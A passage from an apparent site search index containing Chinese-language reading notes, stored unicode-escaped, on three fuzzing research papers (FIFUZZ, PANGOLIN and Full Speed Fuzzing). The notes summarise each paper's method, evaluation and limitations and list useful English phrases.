<p>\\u8868\\u8fbe\\uff1a augment \\u8bf4\\u81ea\\u5df1\\u7684fuzzer\\u80fd\\u6709\\u6548\\u8865\\u5145\\u589e\\u5f3a\\u73b0\\u6709\\u7684fuzzing\\u6280\\u672f and we are still waiting for the response of remaning ones \\u63d0\\u4ea4\\u4e86bug\\u7b49\\u5f85\\u56de\\u590d This manual study is required for gaining the insights into building the automated static analysis \\u624b\\u5de5\\u5206\\u6790\\u662f\\u6709\\u5fc5\\u8981\\u7684</p> <p>\\u9519\\u8bef\\u5904\\u7406\\u7684\\u4ee3\\u7801\\u4e00\\u4e9b\\u53ea\\u80fd\\u5728\\u5076\\u7136\\u60c5\\u51b5\\u4e0b\\u89e6\\u53d1 \\u5982\\u5185\\u5b58\\u4e0d\\u591f \\u7f51\\u7edc\\u8fde\\u63a5\\u5931\\u8d25 \\u8fd9\\u7bc7\\u6587\\u7ae0\\u7684\\u6838\\u5fc3\\u662fSFI \\u4e0a\\u4e0b\\u6587\\u654f\\u611f\\u7684\\u8f6f\\u4ef6\\u9519\\u8bef\\u6ce8\\u5165 \\u53d1\\u73b0\\u4e86317\\u4e2aalert \\u6839\\u636e\\u6839\\u672c\\u539f\\u56e0\\u5206\\u621050\\u4e2aunique bugs</p> <p>error site \\u6ce8\\u5165\\u9519\\u8bef\\u7684\\u4f4d\\u7f6e \\u6bd4\\u5982malloc \\u73b0\\u6709\\u7684\\u6280\\u672f\\u6ca1\\u8003\\u8651\\u4e0a\\u4e0b\\u6587\\uff08\\u8c03\\u7528\\u6808\\uff09\\u6ce8\\u5165\\u9519\\u8bef\\u90a3\\u5c31\\u4e00\\u5b9a\\u4f1a\\u9519 \\u8fd9\\u6837\\u4f1a\\u9519\\u8fc7\\u4e00\\u4e9bbug</p> <p>\\u65b9\\u6cd5\\uff1a     1. \\u9759\\u6001\\u5206\\u6790\\u627eerror sites \\u8fd0\\u884c\\u65f6\\u6709\\u53ef\\u80fd\\u51fa\\u9519\\u7684\\u5730\\u65b9 \\u53ea\\u627e\\u5e93\\u51fd\\u6570\\u907f\\u514d\\u91cd\\u590d\\uff1b\\u627e\\u6ee1\\u8db3\\u6761\\u4ef6\\u7684\\u51fd\\u6570\\u8c03\\u7528\\uff1a\\u8fd4\\u56de\\u7684\\u662f\\u6307\\u9488\\u6216\\u6574\\u6570\\u3001\\u8fd4\\u56de\\u503c\\u4f1a\\u548cNULL\\u6216\\u80050\\u6bd4\\u8f83\\uff0c\\u5b9a\\u4e49\\u4e00\\u4e2a\\u6bd4\\u8f83\\u6b21\\u6570/\\u603b\\u6b21\\u6570\\u7684\\u9608\\u503cR=0.6     2. \\u8fd0\\u884c\\u88ab\\u6d4b\\u7a0b\\u5e8f \\u6536\\u96c6\\u5230\\u8fbe\\u6bcf\\u4e2aerror site\\u80fd\\u6709\\u54ea\\u4e9bcalling context\\uff0c\\u4ee5\\u53ca\\u5f53\\u524d\\u7684coverage     3. \\u521b\\u5efa\\u9519\\u8bef\\u5e8f\\u5217 \\u9519\\u8bef\\u5e8f\\u5217\\u7684\\u6bcf\\u4e00\\u4e2a\\u4e0d\\u662ferror site \\u800c\\u662ferror point  \\u5176\\u4e2dCallCtx \\u662f\\u7684\\u6570\\u7ec4 \\u5177\\u4f53\\u7528\\u54c8\\u5e0c\\u8868\\u5b58\\u50a8     4. \\u53d8\\u5f02\\u9519\\u8bef\\u5e8f\\u5217      5. \\u8fd0\\u884c     6. \\u770b\\u770b\\u662f\\u5426\\u6709\\u65b0\\u7684coverage \\u5faa\\u73af <p>\\u540c\\u65f6\\u53d8\\u5f02\\u9519\\u8bef\\u5e8f\\u5217\\u548c\\u7a0b\\u5e8f\\u8f93\\u5165</p> <p>\\u8d21\\u732e\\uff1a     * \\u505a\\u4e86\\u4e24\\u4e2a\\u624b\\u5de5\\u5206\\u6790\\uff1a42%\\u7684\\u9519\\u8bef\\u5904\\u7406\\u4ee3\\u7801\\u90fd\\u662f\\u5904\\u7406\\u5076\\u7136\\u9519\\u8bef\\uff0c\\u5176\\u4e2d\\u5f88\\u5c11\\u80fd\\u88ab\\u73b0\\u6709\\u7684\\u6280\\u672f\\u89e6\\u53d1     * \\u57fa\\u4e8e\\u4e0a\\u4e0b\\u6587\\u654f\\u611f\\u7684SFI\\u7684fuzzing\\u57fa\\u7840 \\u52a8\\u6001\\u6ce8\\u5165\\u9519\\u8bef\\uff0c\\u8003\\u8651\\u4e86\\u8c03\\u7528\\u5173\\u7cfb     * FIFUZZ \\u7b2c\\u4e00\\u4e2a\\u7cfb\\u7edf\\u6027\\u8003\\u8651\\u4e86\\u4e0d\\u540c\\u8c03\\u7528\\u5173\\u7cfb\\u7684\\u6d4b\\u8bd5\\u9519\\u8bef\\u5904\\u7406\\u4ee3\\u7801\\u7684fuzzing\\u6846\\u67b6     * \\u6d4b\\u4e869\\u4e2aC\\u8bed\\u8a00\\u7a0b\\u5e8f \\u53d1\\u73b0\\u4e8650\\u4e2abug \\u548cAFL AFLFast AFLSmart FairFuzz\\u6bd4\\u8f83\\u80fd\\u53d1\\u73b0\\u5f88\\u591a\\u522b\\u4eba\\u53d1\\u73b0\\u4e0d\\u4e86\\u7684bug</p> <p>\\u867d\\u7136\\u9519\\u8bef\\u5076\\u7136\\u89e6\\u53d1\\uff0c\\u4f46\\u5728adversarial setting\\u4e0b\\u5374\\u53ef\\u4ee5\\u7a33\\u5b9a\\u89e6\\u53d1 \\u5982\\u653b\\u51fb\\u8005\\u8017\\u5c3d\\u5185\\u5b58\\u80fd\\u53ef\\u9760\\u5730\\u8ba9malloc\\u8fd4\\u56deNULL \\uff1b\\u540e\\u9762\\u4e5f\\u63d0\\u5230\\u653b\\u51fb\\u7a97\\u53e3\\u592a\\u5c0f\\u7684\\u8bdd \\u4e0d\\u80fd\\u6210\\u529f</p> <p>\\u5206\\u6790\\u7684\\u8f6f\\u4ef6\\uff1avim bision ffmpeg nasm catdoc clamav cflow gif2png+libpng openssl \\u6bcf\\u4e2a\\u9009100\\u4e2a\\u6e90\\u4ee3\\u7801\\u770b\\u53d1\\u73b0\\uff1a 42%\\u5076\\u7136\\u9519\\u8bef\\uff0c70%\\u68c0\\u67e5\\u8fd4\\u56de\\u503c\\u662f\\u4e0d\\u662f\\u8868\\u793a\\u9519\\u8bef</p> <p>\\u770bCVE\\u53d1\\u73b0fuzzing\\u53d1\\u73b0\\u7684CVE\\u4e2d31%\\u548c\\u9519\\u8bef\\u5904\\u7406\\u6709\\u5173 \\u4f46\\u53ea\\u67099%\\u662f\\u5076\\u7136\\u9519\\u8bef</p> <p>\\u4e00\\u6b21\\u53d8\\u5f02\\u4e00\\u4e2a \\u5982\\u679c\\u6ca1\\u53d1\\u73b0\\u65b0\\u7684coverage\\u5c31\\u629b\\u5f03</p> <p>ASan\\u5f15\\u5165\\u4e86\\u592a\\u5927\\u7684runtime overhead \\u5b9e\\u9a8c\\u5206\\u4e24\\u7ec4 \\u7528asan\\u548c\\u4e0d\\u7528</p> <p>\\u9009vim\\u4e00\\u4e2a\\u7a0b\\u5e8f\\u6765\\u663e\\u793a24\\u5c0f\\u65f6\\u5185 \\u6709\\u7528\\u7684\\u9519\\u8bef\\u5e8f\\u5217\\u3001\\u7a0b\\u5e8f\\u8f93\\u5165\\u5206\\u522b\\u968f\\u65f6\\u95f4\\u589e\\u957f\\u7684\\u66f2\\u7ebf</p> <p>\\u5b9e\\u9a8c\\u7ed3\\u679c\\u7684\\u8868\\u683c\\uff1a\\u5206asan\\u548c\\u4e0d\\u7528asan\\uff0c\\u4ea7\\u751f\\u4e86\\u591a\\u5c11\\u9519\\u8bef\\u5e8f\\u5217\\u548cinput \\u591a\\u5c11\\u6709\\u7528\\uff0c\\u53d1\\u73b0\\u7684bug\\u7684\\u5206\\u7c7b \\u4e09\\u7c7b\\uff1a\\u8fd4\\u56deNULL\\uff0cmalloc\\u5931\\u8d25\\uff0cassert</p> <p>\\u9644\\u5f55\\u7ed950\\u4e2a\\u968f\\u673a\\u9009\\u7684alerts \\u7a0b\\u5e8f\\u3001\\u89e6\\u53d1\\u5e8f\\u5217Error points\\u3001\\u5d29\\u7684\\u6e90\\u4ee3\\u7801\\u884c\\u53f7\\u3001\\u9519\\u8bef\\u7c7b\\u522b\\u3001\\u53cd\\u9988\\u4fee\\u590d\\u72b6\\u6001</p> <p>\\u53d1\\u73b0\\u768446\\u4e2a\\u548c\\u9519\\u8bef\\u5904\\u7406\\u76f8\\u5173\\u7684bug\\u4e2d \\u53ea\\u67094\\u4e2a\\u9700\\u8981\\u4e00\\u4e2a\\u4ee5\\u4e0a\\u7684bug\\u6ce8\\u5165 \\u4e5f\\u5c31\\u8bf4\\u5927\\u90e8\\u5206bug\\u4e00\\u4e2a\\u9519\\u8bef\\u5c31\\u80fd\\u89e6\\u53d1\\u4e86\\uff1b\\u5927\\u90e8\\u5206bug\\u90fd\\u662f\\u56e0\\u4e3a\\u88ab\\u8c03\\u7528\\u7684\\u51fd\\u6570\\u6b63\\u786e\\u5904\\u7406\\u4e86\\u5f02\\u5e38 \\u4f46\\u8c03\\u7528\\u8005\\u6ca1\\u6709\\u2014\\u2014\\u5f00\\u53d1\\u8005\\u7ecf\\u5e38\\u7531\\u4e8e\\u590d\\u6742\\u7684\\u8c03\\u7528\\u5728error propagation\\u4e0a\\u72af\\u9519\\u8bef</p> <p>\\u548c\\u5176\\u4ed6fuzzer\\u6bd4\\u8f83 \\u8bf4\\u81ea\\u5df1\\u7684coverage\\u66f4\\u9ad8</p> <p>\\u81ea\\u5df1\\u6ca1\\u6bd4\\u4eba\\u5bb6\\u5f3a\\u5c31\\u8bf4We believe that if\\u6211\\u4eec\\u4e5f\\u5b9e\\u73b0\\u4ed6\\u4eec\\u7684fuzzing\\u8fc7\\u7a0b\\uff0c\\u90a3\\u5c31\\u4f1a\\u66f4\\u597d</p> <p>discussion: \\u9519\\u8bef\\u4f4d\\u7f6e\\u7684\\u63d0\\u53d6 \\u7684 \\u8bef\\u62a5\\uff1a \\u6709\\u4e9b\\u51fd\\u6570\\u867d\\u7136\\u7ecf\\u5e38\\u8ddf0\\u6bd4\\u8f83\\u4f46\\u4e0d\\u4f1a\\u8fd4\\u56de\\u9519\\u8bef \\u5982strstr \\u901a\\u8fc7\\u5206\\u6790\\u5b9a\\u4e49\\u548c\\u8c03\\u7528\\u56fe\\u68c0\\u67e5\\u662f\\u5426\\u771f\\u7684\\u80fd\\u8fd4\\u56de\\u8868\\u793a\\u9519\\u8bef\\u7684\\u9519\\u8bef\\u503c\\uff1b\\u51fd\\u6570\\u7684\\u8f93\\u5165\\u4e00\\u5b9a\\u5148\\u8f6c\\u6362\\u6210\\u6709\\u6548\\u7684\\u6570\\u636e \\u7528\\u7b26\\u53f7\\u6267\\u884c\\u6765\\u5206\\u6790 \\u5bf9\\u6bcf\\u4e2a\\u51fd\\u6570\\u8c03\\u7528\\u8ba1\\u7b97\\u7ea6\\u675f</p> <p>\\u9519\\u8bef\\u68c0\\u6d4b \\u7684 \\u6f0f\\u62a5\\uff1a\\u4e3a\\u4e86\\u907f\\u514d\\u91cd\\u590d\\u6ce8\\u5165\\u53ea\\u8003\\u8651\\u4e86\\u5e93\\u51fd\\u6570\\uff0c\\u4f46\\u6709\\u4e9b\\u5f00\\u53d1\\u8005\\u81ea\\u5df1\\u5199\\u7684\\u6ca1\\u8c03\\u7528\\u4efb\\u4f55\\u5e93\\u51fd\\u6570\\u4e5f\\u80fd\\u8fd4\\u56de\\u9519\\u8bef\\uff1bcoverage\\u6ca1\\u5230 FIFUZZ\\u4e0d\\u80fd\\u63d0\\u4f9b\\u6240\\u6709\\u53ef\\u80fd\\u7684\\u7a0b\\u5e8f\\u8f93\\u5165\\u548c\\u914d\\u7f6e\\uff1b\\u7528ASan\\u7684\\u5c40\\u9650 \\u4f46\\u53ef\\u4ee5\\u6269\\u5c55\\u7528MSan UBSan TSan</p> <p>\\u76f8\\u5173\\u7684paper: \\u8f7b\\u91cf\\u7ea7\\u8fd0\\u884c\\u65f6\\u76d1\\u6d4b\\uff1a\\u57fa\\u4e8e\\u786c\\u4ef6\\u7684tracing [3, 31]\\uff0c call-path inferring[42] \\u7528\\u9759\\u6001\\u5206\\u6790\\u627e\\u9519\\u8bef\\u5904\\u7406\\u7684bug [28, 32, 33, 37, 53] PairCheck[9] \\u7edf\\u8ba1\\u5206\\u6790\\u627e\\u8d44\\u6e90acquire\\u548crelease\\u7684pair\\uff0c\\u627e\\u9519\\u8bef\\u5904\\u7406\\u4e2d\\u6ca1\\u6709release</p> <p>\\u6700\\u540econclusion\\u6700\\u540e\\u4e00\\u6bb5\\u8bf4\\u6539\\u8fdb \\u51cf\\u5c11\\u8bef\\u62a5\\uff1b\\u63d0\\u9ad8\\u6027\\u80fd\\uff1b\\u5176\\u4ed6\\u7f16\\u7a0b\\u8bed\\u8a00 plan to test the program in other programming languages \\uff08such as C++ and Java\\uff09</p>\"},{\"location\":\"PaperReading/#pangolin-incremental-hybrid-fuzzing-with-polyhedral-path-abstraction\",\"title\":\"PANGOLIN: Incremental Hybrid Fuzzing with Polyhedral Path Abstraction\",\"text\":\"<p>SP2020 PDF</p> <p>\\u4e00\\u53e5\\u8bdd\\u6982\\u62ec\\uff1a\\u6539\\u8fdbQSYM\\u6df7\\u5408fuzzing \\u7f13\\u5b58\\u6c42\\u89e3\\u51fa\\u6765\\u7684\\u53d6\\u503c\\u8303\\u56f4\\u7528\\u591a\\u8fb9\\u5f62\\u8868\\u793a \\u6765\\u66f4\\u597d\\u7684\\u53d8\\u5f02\\u66f4\\u5feb\\u7684\\u6c42\\u89e3</p> <p>\\u5355\\u8bcd\\u4e0e\\u8868\\u8fbe\\uff1a</p> <ul> <li>sluggish \\u6027\\u80fd\\u4e0d\\u884c \\u592a\\u6162</li> <li>succinct \\u7b80\\u6d01\\u7684</li> <li>\\u53d6\\u5f97\\u5e73\\u8861 a sweet spot between \\u2026</li> <li>obstruct \\u963b\\u788d</li> <li>we followed the standard instructions in the previous paper \\u8bf4\\u81ea\\u5df1\\u7684\\u65b9\\u6cd5\\u662f\\u6309\\u7167\\u522b\\u4eba\\u5efa\\u8bae\\u7684</li> <li>orthogonal \\u8bf4\\u522b\\u4eba\\u7684\\u7814\\u7a76\\u548c\\u81ea\\u5df1\\u7684\\u4e0d\\u51b2\\u7a81\\u53ef\\u4ee5\\u4e92\\u8865</li> </ul> <p>intro \\u7b2c\\u4e00\\u6bb5 \\u4ecb\\u7ecdhybrid fuzzing\\u5f88\\u6709\\u7528\\uff1b\\u7b2c\\u4e8c\\u6bb5\\u8bf4\\u73b0\\u5728\\u7684\\u65b9\\u6cd5\\u4e0d\\u884c \\u63d0\\u51fa\\u95ee\\u9898\\u4e0dincremental \\u6700\\u540e\\u4e00\\u53e5\\u63d0However, intuitively\\u5e94\\u8be5\\u53ef\\u4ee5\\u8fd9\\u4e48\\u505a\\uff1b\\u4e4b\\u540e\\u4e3e\\u4f8b\\u5b50\\uff1b\\u6838\\u5fc3\\u7684\\u4e24\\u70b9\\u2014\\u2014\\u7528\\u591a\\u8fb9\\u5f62\\u7684\\u8def\\u5f84\\u7ea6\\u675f\\u628a\\u79cd\\u5b50\\u53d8\\u5f02\\u8f6c\\u6362\\u6210\\u5728\\u4e00\\u4e2a\\u591a\\u8fb9\\u5f62\\u5185\\u53d6\\u6837\\u3001\\u7528\\u7ea6\\u675f\\u964d\\u4f4e\\u7ea6\\u675f\\u6c42\\u89e3\\u590d\\u6742\\u5ea6\\u51cf\\u5c0f\\u53ef\\u884c\\u89e3\\u7a7a\\u95f4 \\u4ece\\u800c\\u52a0\\u901f\\u7ea6\\u675f\\u6c42\\u89e3\\uff1b\\u7136\\u540e\\u8bf4\\u81ea\\u5df1\\u6d4b\\u4e86\\u4e00\\u4e0b \\u6548\\u679c\\u6bd4state of art\\u597d10%~30%\\u7684coverage\\uff0c\\u5728LAVA-M\\u80fd\\u591a\\u53d1\\u73b0500+bugs\\uff0c\\u53d1\\u73b0\\u65b0\\u768441\\u4e2abug \\u62ff\\u52308\\u4e2aCVE</p> <p>\\u968f\\u673a\\u53d8\\u5f02\\u7684\\u7a7a\\u95f4\\u603b\\u662f\\u592a\\u5927\\u4e86</p> <p>\\u7ea6\\u675f\\u7684\\u62bd\\u8c61 \\u6709 interval [32], octagon [33], and polyhedral [34]. \\u90fd\\u662fsound\\u7684\\uff08\\u5305\\u542b\\u6240\\u6709\\u76ee\\u6807\\u70b9\\uff09\\uff0c\\u4f46polyhedral\\u6709\\u6700\\u597d\\u7684precision \\u5305\\u542b\\u6700\\u5c11\\u7684\\u975e\\u76ee\\u6807\\u70b9</p> <p>\\u91c7\\u6837\\u7528Dikin walk algorithm \\u80fd\\u4fdd\\u8bc1\\u5747\\u5300\\u91c7\\u6837 \\u4fdd\\u8bc1\\u591a\\u6837\\u6027\\uff1a\\u6bcf\\u4e24\\u4e2a\\u91c7\\u6837\\u4e4b\\u95f4\\u7684\\u8ddd\\u79bb\\u90fd\\u8981\\u5927\\u4e8e\\u4e00\\u4e2a\\u52a8\\u6001\\u8fb9\\u754c</p> <p>\\u5177\\u4f53\\u505a\\u6cd5\\u5e76\\u4e0d\\u76f2\\u76ee\\u8ba1\\u7b97x+y\\u548cx-y\\uff0c\\u800c\\u662f\\u52a0\\u5165\\u7ea6\\u675f\\u4e2d\\u7684\\u7ebf\\u6027\\u8868\\u8fbe\\u5f0f \\u59825x+y</p> <p>\\u5e94\\u8be5\\u91c7\\u591a\\u5c11\\u6837\\u672c\\uff1f\\u8d8a\\u96becover\\u7684\\u9700\\u8981\\u8d8a\\u591a\\uff0c\\u8d8a\\u591a\\u4f9d\\u8d56\\u5b83\\u7684\\u8def\\u5f84\\u9700\\u8981\\u8d8a\\u591a</p> <p>evaluation \\u4e09\\u4e2aRQ\\u7814\\u7a76\\u95ee\\u9898\\uff1a1. \\u6bd4\\u73b0\\u5728\\u6700\\u597d\\u7684fuzzer\\u80fd\\u4e0d\\u80fd\\u53d1\\u73b0\\u66f4\\u591a\\u7684bug\\uff1b2.\\u80fd\\u4e0d\\u80fd\\u66f4\\u9ad8\\u7684coverage\\uff1b3. \\u53d8\\u5f02\\u65b9\\u6cd5\\u7684\\u6709\\u6548\\u6027</p> <p>\\u5b9e\\u9a8c\\u7528\\u4e86\\u4e24\\u4e2aafl\\uff0cangora\\u6709-j 2\\uff0c\\u4f46T-Fuzz\\u4e0d\\u652f\\u6301 \\u4e5f\\u5c31\\u76f4\\u63a5\\u8dd1\\u4e86</p> <p>\\u9009seed\\u7684\\u65b9\\u5f0f\\uff1a\\u7528AFL\\u63d0\\u4f9b\\u7684seed\\uff0c\\u7528\\u4eba\\u5bb6\\u4ee3\\u7801\\u91cc\\u81ea\\u5e26\\u7684\\u6d4b\\u8bd5\\u6837\\u4f8b</p> <p>\\u91cd\\u590d10\\u6b21</p> <p>\\u6bd4\\u8f83\\u4e86\\u6548\\u679c\\u597d\\u4e4b\\u540e\\u8ba8\\u8bba\\u4e3a\\u5565\\u6ca1\\u80fd\\u53d1\\u73b0LAVA-M\\u7684\\u6240\\u6709bug\\uff1f\\u8bf4\\u8fd9\\u662fQSYM\\u7684\\u95ee\\u9898 \\u7f3a\\u5c11\\u5bf9\\u5e95\\u5c42\\u7cfb\\u7edf\\u8c03\\u7528\\u7684\\u5efa\\u6a21\\u5982who\\u7528\\u7684x2nrealloc\\uff0c\\u4e0d\\u652f\\u6301\\u6d6e\\u70b9\\u6570\\u7ea6\\u675f\\u3002\\u4f46\\u662f\\u8fd9\\u4e9b\\u9650\\u5236\\u4e0d\\u662f\\u8fd9\\u7bc7work\\u8981\\u89e3\\u51b3\\u7684\\u95ee\\u9898\\uff0cand we leave them as our future work.</p> <p>crash\\u53bb\\u91cd\\u7528\\u7684<code>afl-cmin -C</code></p> <p>\\u53d1\\u73b0\\u4e86T-Fuzz\\u5bf9\\u5927\\u7a0b\\u5e8f\\u6709scalability issues \\u6240\\u4ee5\\u5c31\\u6ca1\\u6709\\u6bd4\\u8f83coverage</p> <p>\\u6bd4QSYM\\u597d\\uff0c\\u539f\\u56e0\\u662fqsym\\u5bf9\\u6bcf\\u4e2abranch\\u53ea\\u751f\\u6210\\u4e00\\u4e2aseed\\uff0c\\u8fd9\\u6837\\u4f1a\\u6f0f\\u6389\\u4e00\\u4e9b\\u2014\\u2014\\u8986\\u76d6\\u5230\\u4e00\\u4e2abranch\\u5e76\\u4e0d\\u610f\\u5473\\u7740\\u5c31\\u80fd\\u89e6\\u53d1\\u6f0f\\u6d1e</p> <p>The performance of constrained mutation\\uff1a\\u6bd4\\u8f83\\u63d0\\u51fa\\u7684constrained mutation\\u548cSMTSampler \\u770b\\u7ed9\\u5b9atime buget\\u5206\\u522b3s 5s 10s\\u7684\\u60c5\\u51b5\\u4e0b\\u80fd\\u89e3\\u51fa\\u591a\\u5c11 \\u8ba1\\u7b97\\u5e73\\u5747\\u65f6\\u95f4\\u7684\\u65f6\\u5019\\u5982\\u679c\\u4e0d\\u80fd\\u89e3\\u51b3\\u5c31\\u6309\\u4e0a\\u9650\\u2014\\u2014\\u8d85\\u8fc795%\\u7684\\u7ea6\\u675f\\u90fd\\u80fd\\u57283\\u79d2\\u949f\\u5185\\u641e\\u5b9a\\u3002\\u603b\\u4e4b\\uff0c\\u6211\\u4eec\\u7684\\u65b9\\u6cd5\\u6bd4SMTSampler\\u6548\\u7387\\u548c\\u6709\\u6548\\u6027\\u90fd\\u5f3a \\u4e3a\\u5565\\u5462\\uff1f\\u51cf\\u5c11\\u4e86\\u7ea6\\u675f\\u6c42\\u89e3\\u5668\\u7684\\u8c03\\u7528\\u3001\\u4fdd\\u8bc1\\u4e86\\u5747\\u5300\\u5206\\u5e03</p> <p>related work \\u79cd\\u5b50\\u7684\\u4f18\\u5148\\u9009\\u62e9\\u548c\\u8c03\\u5ea6 \\u662f\\u57fa\\u4e8e\\u7a0b\\u5e8f\\u7ed3\\u6784\\u7684 \\u5ffd\\u89c6\\u4e86\\u8f93\\u5165\\u7684\\u5b9e\\u9645\\u53d6\\u503c\\u7a7a\\u95f4 \\u76f8\\u6bd4\\u4e8eKLEE\\u7f13\\u5b58\\u4e86constraint\\uff0c\\u6211\\u4eec\\u7f13\\u5b58\\u4e86\\u539f\\u59cb\\u8def\\u5f84\\u7ea6\\u675f\\u7684\\u7b80\\u5316\\u5f62\\u5f0f path abstraction</p> <p>\\u5982\\u4f55\\u6709\\u6548\\u7684\\u5c06concolic execution\\u548cfuzzing\\u7ed3\\u5408is always under consideration</p> <p>\\u5c3d\\u7ba1\\u6709\\u5185\\u5b58\\u5feb\\u7167\\u7684\\u6280\\u672f\\u6765\\u4fdd\\u5b58\\u7a0b\\u5e8f\\u72b6\\u6001[7] \\u201cUnleashing mayhem on binary code\\u201d\\uff0c\\u4f46\\u5bf9hybrid fuzzing\\u6765\\u8bf4\\u592a\\u6162\\u4e86</p>\"},{\"location\":\"PaperReading/#full-speed-fuzzing-reducing-fuzzing-overhead\",\"title\":\"Full speed Fuzzing: Reducing Fuzzing Overhead\",\"text\":\"<p>\\u4e00\\u53e5\\u8bdd\\u6982\\u62ec\\uff1a \\u6bcf\\u4e2a\\u57fa\\u672c\\u5757\\u7b2c\\u4e00\\u4e2a\\u5b57\\u8282\\u6539\\u6210CC\\u89e6\\u53d1\\u4e2d\\u65ad\\uff0c\\u4e0d\\u9700\\u8981\\u8017\\u65f6\\u5730\\u8bb0\\u5f55coverage\\u4e86\\uff0c\\u53d1\\u73b0\\u65b0\\u7684\\u57fa\\u672c\\u5757\\u5c31\\u80fd\\u81ea\\u52a8\\u77e5\\u9053</p> <p>\\u5355\\u8bcd\\uff1a</p> <ul> <li>tracking apparatuse\\u63d2\\u6869\\u4ee3\\u7801\\u505a\\u7684\\u4e8b\\u60c5</li> <li>niche \\u5408\\u5b9c\\u7684\\u5c0f\\u73af\\u5883 \\u8fd9\\u91cc\\u4f3c\\u4e4e\\u662f\\u53d7\\u9650\\u7684\\u610f\\u601d As applications of directed fuzzing are generally niche, such as taint tracking [16] or patch testing [31], coverage-guided fuzzing\\u2019s wider scope makes it more popular among the fuzzing community [5], [6], [4], [3].</li> <li>narrow \\u533a\\u522b\\u4e0d\\u5927 results in Section VI suggest that the performance gap is much narrower.</li> <li>convincingly \\u6bd4\\u5176\\u4ed6\\u4eba\\u597d A12 excceds 0.71</li> <li>performance-taxing \\u8017\\u65f6</li> <li>per-variant geometric mean\\u5206\\u7ec4\\u8ba1\\u7b97\\u5747\\u503c</li> <li>deficit \\u5f15\\u5165\\u7684overhead: \\u2026 far outweighs the performance deficit from trimming and calibration tracing</li> <li>is not a technical challenge \\u6ca1\\u505a\\u7684\\u4e1c\\u897fclaim\\u4e0d\\u96be\\u505a</li> <li>graciously \\u611f\\u8c22\\u5176\\u4ed6\\u4eba</li> </ul> <p>\\u4eba\\u5bb6\\u7684idea\\uff1a</p> <pre><code>\\u628a\\u7a0b\\u5e8f\\u53d8\\u6210\\u4e00\\u4e2a\\u80fd\\u81ea\\u5df1\\u62a5\\u544a\\u6709\\u6ca1\\u6709\\u53d1\\u73b0\\u65b0\\u7684basic block\\u7684\\u2014\\u2014\\u5728\\u6bcf\\u4e2a\\u57fa\\u672c\\u5757\\u5f00\\u5934\\u53d8\\u62100xCC\\uff08encode the current frontier\\uff09\\uff0c\\u89e6\\u53d1\\u4e86\\u4e2d\\u65ad\\u8bf4\\u660e\\u6709\\u65b0\\u7684\\u8986\\u76d6\\u7387\\uff0c\\u9700\\u8981\\u505c\\u4e0bfork server\\u53bb\\u6389\\u8fd9\\u4e2a\\u4e2d\\u65ad\\u518d\\u7ee7\\u7eed\\u8dd1\\n\\u505acoverage-guided tracing\\n\\u4eba\\u5bb6\\u7684\\u5b9e\\u9a8c\\u5176\\u5b9e\\u4e0d\\u662f\\u5728\\u505afuzzing\\uff0c\\u800c\\u662f\\u5148\\u8dd1afl-qemu\\u6536\\u96c624\\u5c0f\\u65f6\\u6240\\u6709\\u751f\\u6210\\u7684seed\\uff085\\u4e2a\\u4e0d\\u540c\\u7684test case datasets\\uff09\\uff0c\\u518d\\u6539\\u4e86afl\\u53ea\\u8dd1run_target\\uff0c\\u770b\\u4e0d\\u540c\\u7684\\u8bbe\\u8ba1\\u4e0b\\u8017\\u65f6\\u7684\\u533a\\u522b\\n\\u53bb\\u6389\\u566a\\u97f3\\u7528\\u7684trimmed-mean denoising \\u53bb\\u6389\\u6700\\u5927\\u6700\\u5c0f33%\\n\\u5b9e\\u9a8c\\u662f5\\u4e2adataset,\\u6bcf\\u4e2a\\u91cd\\u590d8\\u6b21 \\n\\u57fa\\u4e8eafl-dyninst\\u5b9e\\u73b0\\uff0c\\u4f46\\u662f\\u8fd9\\u73a9\\u610f\\u6027\\u80fd\\u4e0d\\u884c \\u6240\\u4ee5\\u8dd1\\u7684oracle\\u7a0b\\u5e8ffork server\\u8fd8\\u662f\\u7528afl-as\\u63d2\\u7684\\n\\u5728tracer\\u8bb0\\u5f55\\u5757\\u7684\\u8986\\u76d6\\u7387\\u7684\\u65f6\\u5019\\uff0c\\u4e00\\u4e2a\\u5757\\u53ef\\u80fd\\u6267\\u884c\\u591a\\u6b21\\u5f88\\u5927\\u7684overhead\\uff0c\\u4e8e\\u662f\\u641e\\u4e86\\u4e2a\\u5168\\u5c40\\u7684hashmap\\uff0c\\u548cfork server\\u5171\\u4eab \\u4e4b\\u540e\\u7684\\u8fdb\\u7a0b\\u5c31\\u77e5\\u9053\\u54ea\\u4e9b\\u624d\\u662funique-covered basic blocks\\n\\u4e0d\\u61c2\\u7684\\u5730\\u65b9\\uff1a\\u4e3a\\u5565\\u4f1a\\u5c1d\\u8bd5\\u5bf9\\u540c\\u4e00\\u4e2a\\u5730\\u65b9\\u591a\\u6b21unmodify?  We observe that even coverage-increasing test cases often have significant overlaps in coverage. This causes UnTracer to attempt unmodifying many already-unmodified basic blocks, resulting in high overhead.\\n\\u9009\\u62e9\\u7684fuzz\\u6587\\u4ef6\\u7c7b\\u578b\\uff1adev\\u5f00\\u53d1\\uff0c\\u56fe\\u7247\\uff0c\\u538b\\u7f29data archiving\\uff0c\\u7f51\\u7edcnetwork utilities\\uff0c\\u97f3\\u9891\\uff0c\\u6587\\u6863\\uff0c\\u5bc6\\u7801\\u5b66cryptography\\uff0cweb\\u5f00\\u53d1\\ntimeout\\u4e5f\\u662f\\u4e00\\u4e2a\\u5f88\\u91cd\\u8981\\u7684\\u56e0\\u7d20 \\u5982\\u679ctimeout\\u7684\\u6587\\u4ef6\\u592a\\u591a \\u4f5c\\u8005\\u7684\\u4f18\\u52bf\\u5c31\\u4e0d\\u660e\\u663e\\u4e86\\uff1b\\u5b9e\\u9a8c\\u8bbe\\u7f6e\\u4e3a500ms\\u7684\\u8d85\\u65f6\\n\\u6bd4\\u8f83\\u7684baseline: \\u53eafork server\\u4e0d\\u8fdb\\u884c\\u4efb\\u4f55\\u63d2\\u6869\\uff0c\\u8fd9\\u662f\\u6700\\u5feb\\u7684 overhead\\u662f\\u76f8\\u5bf9\\u4e8e\\u8fd9\\u4e2abaseline\\u800c\\u8a00\\u7684\\n</code></pre> <p>\\u540e\\u7eed\\u8981\\u4e86\\u89e3\\u7684\\uff1a</p> <pre><code>Intel PT\\u786c\\u4ef6\\u8f85\\u52a9[11],[4],[12]\\u7684\\u8986\\u76d6\\u7387 